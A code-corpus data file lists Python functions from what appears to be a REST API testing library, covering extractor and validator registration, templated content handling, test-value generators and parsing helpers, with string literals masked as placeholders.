{"signature": "def parse_extractor(extractor_type, config):", "body": "parse = EXTRACTORS.get(extractor_type.lower())<EOL>if not parse:<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\".format(extractor_type))<EOL><DEDENT>parsed = parse(config)<EOL>if isinstance(parsed, AbstractExtractor):  <EOL><INDENT>return parsed<EOL><DEDENT>items = AbstractExtractor().__dict__<EOL>if set(parsed.__dict__.keys()).issuperset(set(items.keys())):<EOL><INDENT>return parsed<EOL><DEDENT>else:<EOL><INDENT>raise TypeError(<EOL>\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Convert extractor type and config to an extractor instance\n        Uses registered parse function for that extractor type\n        Parse functions may return either:\n            - An extraction function (wrapped in an Extractor instance with configs and returned)\n            - OR a a full Extractor instance (configured)", "id": "f232:m4"}
{"signature": "def parse_validator(name, config_node):", "body": "name = name.lower()<EOL>if name not in VALIDATORS:<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\".format(name))<EOL><DEDENT>valid = VALIDATORS[name](config_node)<EOL>if valid.name is None:  <EOL><INDENT>valid.name = name<EOL><DEDENT>if valid.config is None:  <EOL><INDENT>valid.config = config_node<EOL><DEDENT>return valid<EOL>", "docstring": "Parse a validator from configuration and use it", "id": "f232:m5"}
{"signature": "def register_validator(name, parse_function):", "body": "name = name.lower()<EOL>if name in VALIDATORS:<EOL><INDENT>raise Exception(\"<STR_LIT>\".format(name))<EOL><DEDENT>VALIDATORS[name] = parse_function<EOL>", "docstring": "Registers a validator for use by this library\n        Name is the string name for validator\n\n        Parse function does parse(config_node) and returns a Validator object\n        Validator functions have signature:\n            validate(response_body, context=None) - context is a bindings.Context object\n\n        Validators return true or false and optionally can return a Failure instead of false\n        This allows for passing more details", "id": "f232:m6"}
{"signature": "def register_extractor(extractor_name, parse_function):", "body": "if not isinstance(extractor_name, basestring):<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>if extractor_name.lower() == '<STR_LIT>':<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\")<EOL><DEDENT>elif extractor_name.lower() == '<STR_LIT:test>':<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\")<EOL><DEDENT>elif extractor_name.lower() == '<STR_LIT>':<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\")<EOL><DEDENT>elif extractor_name in EXTRACTORS:<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\".format(extractor_name))<EOL><DEDENT>EXTRACTORS[extractor_name] = parse_function<EOL>", "docstring": "Register a new body extraction function", "id": "f232:m7"}
{"signature": "def register_comparator(comparator_name, comparator_function):", "body": "if not isinstance(comparator_name, basestring):<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>elif comparator_name in COMPARATORS:<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\".format(comparator_name))<EOL><DEDENT>COMPARATORS[comparator_name] = comparator_function<EOL>", "docstring": "Register a new twpo-argument comparator function returning true or false", "id": "f232:m9"}
{"signature": "def __nonzero__(self):", "body": "return False<EOL>", "docstring": "Failure objects test as False, simplifies coding with them", "id": "f232:c0:m0"}
{"signature": "def __bool__(self):", "body": "return False<EOL>", "docstring": "Failure objects test as False, simplifies coding with them", "id": "f232:c0:m1"}
{"signature": "def extract_internal(self, query=None, body=None, headers=None, args=None):", "body": "pass<EOL>", "docstring": "Do extraction, query should be pre-templated", "id": "f232:c1:m1"}
{"signature": "def extract(self, body=None, headers=None, context=None):", "body": "query = self.templated_query(context=context)<EOL>args = self.args<EOL>return self.extract_internal(query=query, body=body, headers=headers, args=self.args)<EOL>", "docstring": "Extract data", "id": "f232:c1:m2"}
{"signature": "def get_readable_config(self, context=None):", "body": "query = self.templated_query(context=context)<EOL>output = '<STR_LIT>'.format(<EOL>self.extractor_type, query, self.is_templated)<EOL>args_string = None<EOL>if self.args:<EOL><INDENT>args_string = \"<STR_LIT>\" + str(self.args)<EOL>output = output + args_string<EOL><DEDENT>return output<EOL>", "docstring": "Print a human-readable version of the configuration", "id": "f232:c1:m4"}
{"signature": "@classmethod<EOL><INDENT>def configure_base(cls, config, extractor_base):<DEDENT>", "body": "if isinstance(config, dict):<EOL><INDENT>try:<EOL><INDENT>config = config['<STR_LIT>']<EOL>extractor_base.is_templated = True<EOL>extractor_base.query = config<EOL><DEDENT>except KeyError:<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\")<EOL><DEDENT><DEDENT>elif isinstance(config, basestring):<EOL><INDENT>extractor_base.query = config<EOL>extractor_base.is_templated = False<EOL><DEDENT>else:<EOL><INDENT>raise TypeError(<EOL>\"<STR_LIT>\")<EOL><DEDENT>return extractor_base<EOL>", "docstring": "Parse config object and do basic config on an Extractor", "id": "f232:c1:m5"}
{"signature": "@staticmethod<EOL><INDENT>def query_dictionary(query, dictionary, delimiter='<STR_LIT:.>'):<DEDENT>", "body": "<EOL>try:<EOL><INDENT>stripped_query = query.strip(delimiter)<EOL>if stripped_query:<EOL><INDENT>for x in stripped_query.split(delimiter):<EOL><INDENT>try:<EOL><INDENT>x = int(x)<EOL>dictionary = dictionary[x]<EOL><DEDENT>except ValueError:<EOL><INDENT>dictionary = dictionary[x]<EOL><DEDENT><DEDENT><DEDENT><DEDENT>except:<EOL><INDENT>return None<EOL><DEDENT>return dictionary<EOL>", "docstring": "Do an xpath-like query with dictionary, using a template if relevant", "id": "f232:c2:m1"}
{"signature": "def validate(self, body=None, headers=None, context=None):", "body": "pass<EOL>", "docstring": "Run the validation function, return true or a Failure", "id": "f232:c5:m0"}
{"signature": "def get_readable_config(self, context=None):", "body": "string_frags = list()<EOL>string_frags.append(<EOL>\"<STR_LIT>\" + self.extractor.get_readable_config(context=context))<EOL>if isinstance(self.expected, AbstractExtractor):<EOL><INDENT>string_frags.append(\"<STR_LIT>\" +<EOL>self.expected.get_readable_config(context=context))<EOL><DEDENT>elif self.isTemplateExpected:<EOL><INDENT>string_frags.append(<EOL>'<STR_LIT>'.format(self.expected))<EOL><DEDENT>return os.linesep.join(string_frags)<EOL>", "docstring": "Get a human-readable config string", "id": "f232:c6:m0"}
{"signature": "@staticmethod<EOL><INDENT>def parse(config):<DEDENT>", "body": "output = ComparatorValidator()<EOL>config = parsing.lowercase_keys(parsing.flatten_dictionaries(config))<EOL>output.config = config<EOL>output.extractor = _get_extractor(config)<EOL>if output.extractor is None:<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\")<EOL><DEDENT>if '<STR_LIT>' not in config:  <EOL><INDENT>output.comparator_name = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>output.comparator_name = config['<STR_LIT>'].lower()<EOL><DEDENT>output.comparator = COMPARATORS[output.comparator_name]<EOL>if not output.comparator:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>try:<EOL><INDENT>expected = config['<STR_LIT>']<EOL><DEDENT>except KeyError:<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\")<EOL><DEDENT>if isinstance(expected, basestring) or isinstance(expected, (int, long, float, complex)):<EOL><INDENT>output.expected = expected<EOL><DEDENT>elif isinstance(expected, dict):<EOL><INDENT>expected = parsing.lowercase_keys(expected)<EOL>template = expected.get('<STR_LIT>')<EOL>if template:  <EOL><INDENT>if not isinstance(template, basestring):<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\")<EOL><DEDENT>output.isTemplateExpected = True<EOL>output.expected = template<EOL><DEDENT>else:  <EOL><INDENT>output.expected = _get_extractor(expected)<EOL>if not output.expected:<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\")<EOL><DEDENT><DEDENT><DEDENT>return output<EOL>", "docstring": "Create a validator that does an extract from body and applies a comparator,\n            Then does comparison vs expected value\n            Syntax sample:\n              { jsonpath_mini: 'node.child',\n                operator: 'eq',\n                expected: 'myValue'\n              }", "id": "f232:c6:m2"}
{"signature": "def get_readable_config(self, context=None):", "body": "return \"<STR_LIT>\" + self.extractor.get_readable_config(context=context)<EOL>", "docstring": "Get a human-readable config string", "id": "f232:c7:m0"}
{"signature": "def _add_doc(func, doc):", "body": "func.__doc__ = doc<EOL>", "docstring": "Add documentation to a function.", "id": "f235:m0"}
{"signature": "def _import_module(name):", "body": "__import__(name)<EOL>return sys.modules[name]<EOL>", "docstring": "Import module, returning the module after the last dot.", "id": "f235:m1"}
{"signature": "def add_move(move):", "body": "setattr(_MovedItems, move.name, move)<EOL>", "docstring": "Add an item to six.moves.", "id": "f235:m2"}
{"signature": "def remove_move(name):", "body": "try:<EOL><INDENT>delattr(_MovedItems, name)<EOL><DEDENT>except AttributeError:<EOL><INDENT>try:<EOL><INDENT>del moves.__dict__[name]<EOL><DEDENT>except KeyError:<EOL><INDENT>raise AttributeError(\"<STR_LIT>\" % (name,))<EOL><DEDENT><DEDENT>", "docstring": "Remove item from six.moves.", "id": "f235:m3"}
{"signature": "def with_metaclass(meta, *bases):", "body": "<EOL>class metaclass(meta):<EOL><INDENT>def __new__(cls, name, this_bases, d):<EOL><INDENT>return meta(name, bases, d)<EOL><DEDENT><DEDENT>return type.__new__(metaclass, '<STR_LIT>', (), {})<EOL>", "docstring": "Create a base class with a metaclass.", "id": "f235:m7"}
{"signature": "def add_metaclass(metaclass):", "body": "def wrapper(cls):<EOL><INDENT>orig_vars = cls.__dict__.copy()<EOL>slots = orig_vars.get('<STR_LIT>')<EOL>if slots is not None:<EOL><INDENT>if isinstance(slots, str):<EOL><INDENT>slots = [slots]<EOL><DEDENT>for slots_var in slots:<EOL><INDENT>orig_vars.pop(slots_var)<EOL><DEDENT><DEDENT>orig_vars.pop('<STR_LIT>', None)<EOL>orig_vars.pop('<STR_LIT>', None)<EOL>return metaclass(cls.__name__, cls.__bases__, orig_vars)<EOL><DEDENT>return wrapper<EOL>", "docstring": "Class decorator for creating a class with a metaclass.", "id": "f235:m8"}
{"signature": "def python_2_unicode_compatible(klass):", "body": "if PY2:<EOL><INDENT>if '<STR_LIT>' not in klass.__dict__:<EOL><INDENT>raise ValueError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\" %<EOL>klass.__name__)<EOL><DEDENT>klass.__unicode__ = klass.__str__<EOL>klass.__str__ = lambda self: self.__unicode__().encode('<STR_LIT:utf-8>')<EOL><DEDENT>return klass<EOL>", "docstring": "A decorator that defines __unicode__ and __str__ methods under Python 2.\nUnder Python 3 it does nothing.\n\nTo support Python 2 and 3 with a single code base, define a __str__ method\nreturning text and apply this decorator to the class.", "id": "f235:m9"}
{"signature": "def is_package(self, fullname):", "body": "return hasattr(self.__get_module(fullname), \"<STR_LIT>\")<EOL>", "docstring": "Return true, if the named module is a package.\n\nWe need this method to get correct spec objects with\nPython 3.4 (see PEP451)", "id": "f235:c4:m6"}
{"signature": "def get_code(self, fullname):", "body": "self.__get_module(fullname)  <EOL>return None<EOL>", "docstring": "Return None\n\n        Required, if is_package is implemented", "id": "f235:c4:m7"}
{"signature": "def is_dynamic(self):", "body": "return self.is_template_path or self.is_template_content<EOL>", "docstring": "Is templating used?", "id": "f239:c0:m0"}
{"signature": "def get_content(self, context=None):", "body": "if self.is_file:<EOL><INDENT>path = self.content<EOL>if self.is_template_path and context:<EOL><INDENT>path = string.Template(path).safe_substitute(<EOL>context.get_values())<EOL><DEDENT>data = None<EOL>with open(path, '<STR_LIT:r>') as f:<EOL><INDENT>data = f.read()<EOL><DEDENT>if self.is_template_content and context:<EOL><INDENT>return string.Template(data).safe_substitute(context.get_values())<EOL><DEDENT>else:<EOL><INDENT>return data<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if self.is_template_content and context:<EOL><INDENT>return safe_substitute_unicode_template(self.content, context.get_values())<EOL><DEDENT>else:<EOL><INDENT>return self.content<EOL><DEDENT><DEDENT>", "docstring": "Does all context binding and pathing to get content, templated out", "id": "f239:c0:m1"}
{"signature": "def create_noread_version(self):", "body": "if not self.is_file or self.is_template_path:<EOL><INDENT>return self<EOL><DEDENT>output = ContentHandler()<EOL>output.is_template_content = self.is_template_content<EOL>with open(self.content, '<STR_LIT:r>') as f:<EOL><INDENT>output.content = f.read()<EOL><DEDENT>return output<EOL>", "docstring": "Read file content if it is static and return content handler with no I/O", "id": "f239:c0:m2"}
{"signature": "def setup(self, input, is_file=False, is_template_path=False, is_template_content=False):", "body": "if not isinstance(input, basestring):<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>if is_file:<EOL><INDENT>input = os.path.abspath(input)<EOL><DEDENT>self.content = input<EOL>self.is_file = is_file<EOL>self.is_template_path = is_template_path<EOL>self.is_template_content = is_template_content<EOL>", "docstring": "Self explanatory, input is inline content or file path.", "id": "f239:c0:m3"}
{"signature": "@staticmethod<EOL><INDENT>def parse_content(node):<DEDENT>", "body": "<EOL>output = ContentHandler()<EOL>is_template_path = False<EOL>is_template_content = False<EOL>is_file = False<EOL>is_done = False<EOL>while (node and not is_done):  <EOL><INDENT>if isinstance(node, basestring):<EOL><INDENT>output.content = node<EOL>output.setup(node, is_file=is_file, is_template_path=is_template_path,<EOL>is_template_content=is_template_content)<EOL>return output<EOL><DEDENT>elif not isinstance(node, dict) and not isinstance(node, list):<EOL><INDENT>raise TypeError(<EOL>\"<STR_LIT>\")<EOL><DEDENT>is_done = True<EOL>flat = lowercase_keys(flatten_dictionaries(node))<EOL>for key, value in flat.items():<EOL><INDENT>if key == u'<STR_LIT>':<EOL><INDENT>if isinstance(value, basestring):<EOL><INDENT>if is_file:<EOL><INDENT>value = os.path.abspath(value)<EOL><DEDENT>output.content = value<EOL>is_template_content = is_template_content or not is_file<EOL>output.is_template_content = is_template_content<EOL>output.is_template_path = is_file<EOL>output.is_file = is_file<EOL>return output<EOL><DEDENT>else:<EOL><INDENT>is_template_content = True<EOL>node = value<EOL>is_done = False<EOL>break<EOL><DEDENT><DEDENT>elif key == '<STR_LIT:file>':<EOL><INDENT>if isinstance(value, basestring):<EOL><INDENT>output.content = os.path.abspath(value)<EOL>output.is_file = True<EOL>output.is_template_content = is_template_content<EOL>return output<EOL><DEDENT>else:<EOL><INDENT>is_file = True<EOL>node = value<EOL>is_done = False<EOL>break<EOL><DEDENT><DEDENT><DEDENT><DEDENT>raise Exception(\"<STR_LIT>\")<EOL>", "docstring": "Parse content from input node and returns ContentHandler object\n        it'll look like:\n\n            - template:\n                - file:\n                    - temple: path\n\n            or something", "id": "f239:c0:m4"}
{"signature": "def factory_generate_ids(starting_id=<NUM_LIT:1>, increment=<NUM_LIT:1>):", "body": "def generate_started_ids():<EOL><INDENT>val = starting_id<EOL>local_increment = increment<EOL>while(True):<EOL><INDENT>yield val<EOL>val += local_increment<EOL><DEDENT><DEDENT>return generate_started_ids<EOL>", "docstring": "Return function generator for ids starting at starting_id\n        Note: needs to be called with () to make generator", "id": "f240:m0"}
{"signature": "def generator_basic_ids():", "body": "return factory_generate_ids(<NUM_LIT:1>)()<EOL>", "docstring": "Return ids generator starting at 1", "id": "f240:m1"}
{"signature": "def generator_random_int32():", "body": "rand = random.Random()<EOL>while (True):<EOL><INDENT>yield random.randint(<NUM_LIT:0>, INT32_MAX_VALUE)<EOL><DEDENT>", "docstring": "Random integer generator for up to 32-bit signed ints", "id": "f240:m2"}
{"signature": "def factory_generate_text(legal_characters=string.ascii_letters, min_length=<NUM_LIT:8>, max_length=<NUM_LIT:8>):", "body": "def generate_text():<EOL><INDENT>local_min_len = min_length<EOL>local_max_len = max_length<EOL>rand = random.Random()<EOL>while(True):<EOL><INDENT>length = random.randint(local_min_len, local_max_len)<EOL>array = [random.choice(legal_characters)<EOL>for x in xrange(<NUM_LIT:0>, length)]<EOL>yield '<STR_LIT>'.join(array)<EOL><DEDENT><DEDENT>return generate_text<EOL>", "docstring": "Returns a generator function for text with given legal_characters string and length\n        Default is ascii letters, length 8\n\n        For hex digits, combine with string.hexstring, etc", "id": "f240:m3"}
{"signature": "def factory_fixed_sequence(values):", "body": "def seq_generator():<EOL><INDENT>my_list = list(values)<EOL>i = <NUM_LIT:0><EOL>while(True):<EOL><INDENT>yield my_list[i]<EOL>if i == len(my_list):<EOL><INDENT>i = <NUM_LIT:0><EOL><DEDENT><DEDENT><DEDENT>return seq_generator<EOL>", "docstring": "Return a generator that runs through a list of values in order, looping after end", "id": "f240:m4"}
{"signature": "def parse_fixed_sequence(config):", "body": "vals = config['<STR_LIT>']<EOL>if not vals:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if not isinstance(vals, list):<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>return factory_fixed_sequence(vals)()<EOL>", "docstring": "Parse fixed sequence string", "id": "f240:m5"}
{"signature": "def factory_choice_generator(values):", "body": "def choice_generator():<EOL><INDENT>my_list = list(values)<EOL>rand = random.Random()<EOL>while(True):<EOL><INDENT>yield random.choice(my_list)<EOL><DEDENT><DEDENT>return choice_generator<EOL>", "docstring": "Return a generator that picks values from a list randomly", "id": "f240:m6"}
{"signature": "def parse_choice_generator(config):", "body": "vals = config['<STR_LIT>']<EOL>if not vals:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if not isinstance(vals, list):<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>return factory_choice_generator(vals)()<EOL>", "docstring": "Parse choice generator", "id": "f240:m7"}
{"signature": "def factory_env_variable(env_variable):", "body": "def return_variable():<EOL><INDENT>variable_name = env_variable<EOL>while(True):<EOL><INDENT>yield os.environ.get(variable_name)<EOL><DEDENT><DEDENT>return return_variable<EOL>", "docstring": "Return a generator function that reads from an environment variable", "id": "f240:m8"}
{"signature": "def factory_env_string(env_string):", "body": "def return_variable():<EOL><INDENT>my_input = env_string<EOL>while(True):<EOL><INDENT>yield os.path.expandvars(my_input)<EOL><DEDENT><DEDENT>return return_variable<EOL>", "docstring": "Return a generator function that uses OS expand path to expand environment variables in string", "id": "f240:m9"}
{"signature": "def parse_random_text_generator(configuration):", "body": "character_set = configuration.get(u'<STR_LIT>')<EOL>characters = None<EOL>if character_set:<EOL><INDENT>character_set = character_set.lower()<EOL>if character_set not in CHARACTER_SETS:<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\".format(character_set))<EOL><DEDENT>characters = CHARACTER_SETS[character_set]<EOL><DEDENT>else:  <EOL><INDENT>characters = str(configuration.get(u'<STR_LIT>'))<EOL><DEDENT>min_length = <NUM_LIT:8><EOL>max_length = <NUM_LIT:8><EOL>if configuration.get(u'<STR_LIT>'):<EOL><INDENT>min_length = int(configuration.get(u'<STR_LIT>'))<EOL><DEDENT>if configuration.get(u'<STR_LIT:max_length>'):<EOL><INDENT>max_length = int(configuration.get(u'<STR_LIT:max_length>'))<EOL><DEDENT>if configuration.get(u'<STR_LIT>'):<EOL><INDENT>length = int(configuration.get(u'<STR_LIT>'))<EOL>min_length = length<EOL>max_length = length<EOL><DEDENT>if characters:<EOL><INDENT>return factory_generate_text(legal_characters=characters, min_length=min_length, max_length=max_length)()<EOL><DEDENT>else:<EOL><INDENT>return factory_generate_text(min_length=min_length, max_length=max_length)()<EOL><DEDENT>", "docstring": "Parses configuration options for a random text generator", "id": "f240:m10"}
{"signature": "def register_generator(typename, parse_function):", "body": "if not isinstance(typename, basestring):<EOL><INDENT>raise TypeError(<EOL>'<STR_LIT>'.format(typename))<EOL><DEDENT>if typename in GENERATOR_TYPES:<EOL><INDENT>raise ValueError(<EOL>'<STR_LIT>'.format(typename))<EOL><DEDENT>GENERATOR_TYPES.add(typename)<EOL>GENERATOR_PARSING[typename] = parse_function<EOL>", "docstring": "Register a new generator for use in testing\n        typename is the new generator type name (must not already exist)\n        parse_function will parse a configuration object (dict)", "id": "f240:m11"}
{"signature": "def parse_generator(configuration):", "body": "configuration = lowercase_keys(flatten_dictionaries(configuration))<EOL>gen_type = str(configuration.get(u'<STR_LIT:type>')).lower()<EOL>if gen_type not in GENERATOR_TYPES:<EOL><INDENT>raise ValueError(<EOL>'<STR_LIT>'.format(gen_type))<EOL><DEDENT>if gen_type == u'<STR_LIT>':<EOL><INDENT>return factory_env_variable(configuration[u'<STR_LIT>'])()<EOL><DEDENT>elif gen_type == u'<STR_LIT>':<EOL><INDENT>return factory_env_string(configuration[u'<STR_LIT:string>'])()<EOL><DEDENT>elif gen_type == u'<STR_LIT>':<EOL><INDENT>start = configuration.get('<STR_LIT:start>')<EOL>increment = configuration.get('<STR_LIT>')<EOL>if not start:<EOL><INDENT>start = <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>start = int(start)<EOL><DEDENT>if not increment:<EOL><INDENT>increment = <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>increment = int(increment)<EOL><DEDENT>return factory_generate_ids(start, increment)()<EOL><DEDENT>elif gen_type == u'<STR_LIT>':<EOL><INDENT>return generator_random_int32()<EOL><DEDENT>elif gen_type == u'<STR_LIT>':<EOL><INDENT>return parse_random_text_generator(configuration)<EOL><DEDENT>elif gen_type in GENERATOR_TYPES:<EOL><INDENT>return GENERATOR_PARSING[gen_type](configuration)<EOL><DEDENT>else:<EOL><INDENT>raise Exception(\"<STR_LIT>\".format('<STR_LIT>'))<EOL><DEDENT>", "docstring": "Parses a configuration built from yaml and returns a generator\n        Configuration should be a map", "id": "f240:m12"}
{"signature": "def encode_unicode_bytes(my_string):", "body": "if not isinstance(my_string, basestring):<EOL><INDENT>my_string = repr(my_string)<EOL><DEDENT>if PYTHON_MAJOR_VERSION == <NUM_LIT:2>:<EOL><INDENT>if isinstance(my_string, str):<EOL><INDENT>return my_string<EOL><DEDENT>elif isinstance(my_string, unicode):<EOL><INDENT>return my_string.encode('<STR_LIT:utf-8>')<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if isinstance(my_string, str):<EOL><INDENT>return my_string.encode('<STR_LIT:utf-8>')<EOL><DEDENT>elif isinstance(my_string, bytes):<EOL><INDENT>return my_string<EOL><DEDENT><DEDENT>", "docstring": "Shim function, converts Unicode to UTF-8 encoded bytes regardless of the source format\n        Intended for python 3 compatibility mode, and b/c PyCurl only takes raw bytes", "id": "f241:m0"}
{"signature": "def safe_substitute_unicode_template(templated_string, variable_map):", "body": "if PYTHON_MAJOR_VERSION > <NUM_LIT:2>:  <EOL><INDENT>return string.Template(templated_string).safe_substitute(variable_map)<EOL><DEDENT>my_template = string.Template(encode_unicode_bytes(templated_string))<EOL>my_escaped_dict = dict(map(lambda x: (x[<NUM_LIT:0>], encode_unicode_bytes(x[<NUM_LIT:1>])), variable_map.items()))<EOL>templated = my_template.safe_substitute(my_escaped_dict)<EOL>return text_type(templated, '<STR_LIT:utf-8>')<EOL>", "docstring": "Perform string.Template safe_substitute on unicode input with unicode variable values by using escapes\n        Catch: cannot accept unicode variable names, just values\n        Returns a Unicode type output, if you want UTF-8 bytes, do encode_unicode_bytes on it", "id": "f241:m1"}
{"signature": "def safe_to_json(in_obj):", "body": "if isinstance(in_obj, bytearray):<EOL><INDENT>return str(in_obj)<EOL><DEDENT>if hasattr(in_obj, '<STR_LIT>'):<EOL><INDENT>return in_obj.__dict__<EOL><DEDENT>try:<EOL><INDENT>return str(in_obj)<EOL><DEDENT>except:<EOL><INDENT>return repr(in_obj)<EOL><DEDENT>", "docstring": "Safely get dict from object if present for json dumping", "id": "f241:m2"}
{"signature": "def flatten_dictionaries(input):", "body": "output = dict()<EOL>if isinstance(input, list):<EOL><INDENT>for map in input:<EOL><INDENT>output.update(map)<EOL><DEDENT><DEDENT>else:  <EOL><INDENT>output = input<EOL><DEDENT>return output<EOL>", "docstring": "Flatten a list of dictionaries into a single dictionary, to allow flexible YAML use\n      Dictionary comprehensions can do this, but would like to allow for pre-Python 2.7 use\n      If input isn't a list, just return it....", "id": "f241:m3"}
{"signature": "def lowercase_keys(input_dict):", "body": "if not isinstance(input_dict, dict):<EOL><INDENT>return input_dict<EOL><DEDENT>safe = dict()<EOL>for key, value in input_dict.items():<EOL><INDENT>safe[str(key).lower()] = value<EOL><DEDENT>return safe<EOL>", "docstring": "Take input and if a dictionary, return version with keys all lowercase and cast to str", "id": "f241:m4"}
{"signature": "def safe_to_bool(input):", "body": "if isinstance(input, bool):<EOL><INDENT>return input<EOL><DEDENT>elif isinstance(input, basestring) and input.lower() == u'<STR_LIT:false>':<EOL><INDENT>return False<EOL><DEDENT>elif isinstance(input, basestring) and input.lower() == u'<STR_LIT:true>':<EOL><INDENT>return True<EOL><DEDENT>else:<EOL><INDENT>raise TypeError(<EOL>'<STR_LIT>')<EOL><DEDENT>", "docstring": "Safely convert user input to a boolean, throwing exception if not boolean or boolean-appropriate string\n      For flexibility, we allow case insensitive string matching to false/true values\n      If it's not a boolean or string that matches 'false' or 'true' when ignoring case, throws an exception", "id": "f241:m5"}
{"signature": "def run_configure(self, key, value, configurable, validator_func=None, converter_func=None, store_func=None, *args, **kwargs):", "body": "if validator_func and not validator(value):<EOL><INDENT>raise TypeError(\"<STR_LIT>\".format(value))<EOL><DEDENT>storeable = value<EOL>if converter_func:<EOL><INDENT>storeable = converter_func(value)<EOL><DEDENT>if store_func:<EOL><INDENT>store_func(configurable, key, storeable)<EOL><DEDENT>else:<EOL><INDENT>configurable.setattr(configurable, key, value)<EOL><DEDENT>", "docstring": "Run a single configuration element\n            Run a validator on the value, if supplied\n            Run a converter_funct to turn the value into something to storeable:\n                converter_func takes params (value) at least and throws exception if failed\n            If a  store_func is supplied, use that to store the option\n              store_func needs to take params (object, key, value, args, kwargs)\n            If store_func NOT supplied we do a setattr on object", "id": "f241:c0:m0"}
{"signature": "def configure(self, configs, configurable, handler, *args, **kwargs):", "body": "for key, value in configs.items():<EOL><INDENT>handler[key] = config_options<EOL>self.run_configure(value, configurable)<EOL><DEDENT>", "docstring": "Use the configs and configurable to parse", "id": "f241:c0:m1"}
{"signature": "def coerce_list_of_ints(val):", "body": "if isinstance(val, list):<EOL><INDENT>return [int(x) for x in val]<EOL><DEDENT>else:<EOL><INDENT>return [int(val)]<EOL><DEDENT>", "docstring": "If single value, try to parse as integer, else try to parse as list of integer", "id": "f242:m3"}
{"signature": "def ninja_copy(self):", "body": "output = Test()<EOL>myvars = vars(self)<EOL>output.__dict__ = myvars.copy()<EOL>return output<EOL>", "docstring": "Optimization: limited copy of test object, for realize() methods\n            This only copies fields changed vs. class, and keeps methods the same", "id": "f242:c0:m1"}
{"signature": "def set_template(self, variable_name, template_string):", "body": "if self.templates is None:<EOL><INDENT>self.templates = dict()<EOL><DEDENT>self.templates[variable_name] = string.Template(template_string)<EOL>", "docstring": "Add a templating instance for variable given", "id": "f242:c0:m2"}
{"signature": "def del_template(self, variable_name):", "body": "if self.templates is not None and variable_name in self.templates:<EOL><INDENT>del self.templates[variable_name]<EOL><DEDENT>", "docstring": "Remove template instance, so we no longer use one for this test", "id": "f242:c0:m3"}
{"signature": "def realize_template(self, variable_name, context):", "body": "val = None<EOL>if context is None or self.templates is None or variable_name not in self.templates:<EOL><INDENT>return None<EOL><DEDENT>return self.templates[variable_name].safe_substitute(context.get_values())<EOL>", "docstring": "Realize a templated value, using variables from context\n            Returns None if no template is set for that variable", "id": "f242:c0:m4"}
{"signature": "def set_body(self, value):", "body": "self._body = value<EOL>", "docstring": "Set body, directly", "id": "f242:c0:m5"}
{"signature": "def get_body(self, context=None):", "body": "if self._body is None:<EOL><INDENT>return None<EOL><DEDENT>elif isinstance(self._body, basestring):<EOL><INDENT>return self._body<EOL><DEDENT>else:<EOL><INDENT>return self._body.get_content(context=context)<EOL><DEDENT>", "docstring": "Read body from file, applying template if pertinent", "id": "f242:c0:m6"}
{"signature": "def set_url(self, value, isTemplate=False):", "body": "if isTemplate:<EOL><INDENT>self.set_template(self.NAME_URL, value)<EOL><DEDENT>else:<EOL><INDENT>self.del_template(self.NAME_URL)<EOL><DEDENT>self._url = value<EOL>", "docstring": "Set URL, passing flag if using a template", "id": "f242:c0:m7"}
{"signature": "def get_url(self, context=None):", "body": "val = self.realize_template(self.NAME_URL, context)<EOL>if val is None:<EOL><INDENT>val = self._url<EOL><DEDENT>return val<EOL>", "docstring": "Get URL, applying template if pertinent", "id": "f242:c0:m8"}
{"signature": "def set_headers(self, value, isTemplate=False):", "body": "if isTemplate:<EOL><INDENT>self.set_template(self.NAME_HEADERS, '<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>self.del_template(self.NAME_HEADERS)<EOL><DEDENT>self._headers = value<EOL>", "docstring": "Set headers, passing flag if using a template", "id": "f242:c0:m9"}
{"signature": "def get_headers(self, context=None):", "body": "if not context or not self.templates or self.NAME_HEADERS not in self.templates:<EOL><INDENT>return self._headers<EOL><DEDENT>vals = context.get_values()<EOL>def template_tuple(tuple_input):<EOL><INDENT>return (string.Template(str(tuple_item)).safe_substitute(vals) for tuple_item in tuple_input)<EOL><DEDENT>return dict(map(template_tuple, self._headers.items()))<EOL>", "docstring": "Get headers, applying template if pertinent", "id": "f242:c0:m10"}
{"signature": "def update_context_before(self, context):", "body": "if self.variable_binds:<EOL><INDENT>context.bind_variables(self.variable_binds)<EOL><DEDENT>if self.generator_binds:<EOL><INDENT>for key, value in self.generator_binds.items():<EOL><INDENT>context.bind_generator_next(key, value)<EOL><DEDENT><DEDENT>", "docstring": "Make pre-test context updates, by applying variable and generator updates", "id": "f242:c0:m11"}
{"signature": "def update_context_after(self, response_body, headers, context):", "body": "if self.extract_binds:<EOL><INDENT>for key, value in self.extract_binds.items():<EOL><INDENT>result = value.extract(<EOL>body=response_body, headers=headers, context=context)<EOL>context.bind_variable(key, result)<EOL><DEDENT><DEDENT>", "docstring": "Run the extraction routines to update variables based on HTTP response body", "id": "f242:c0:m12"}
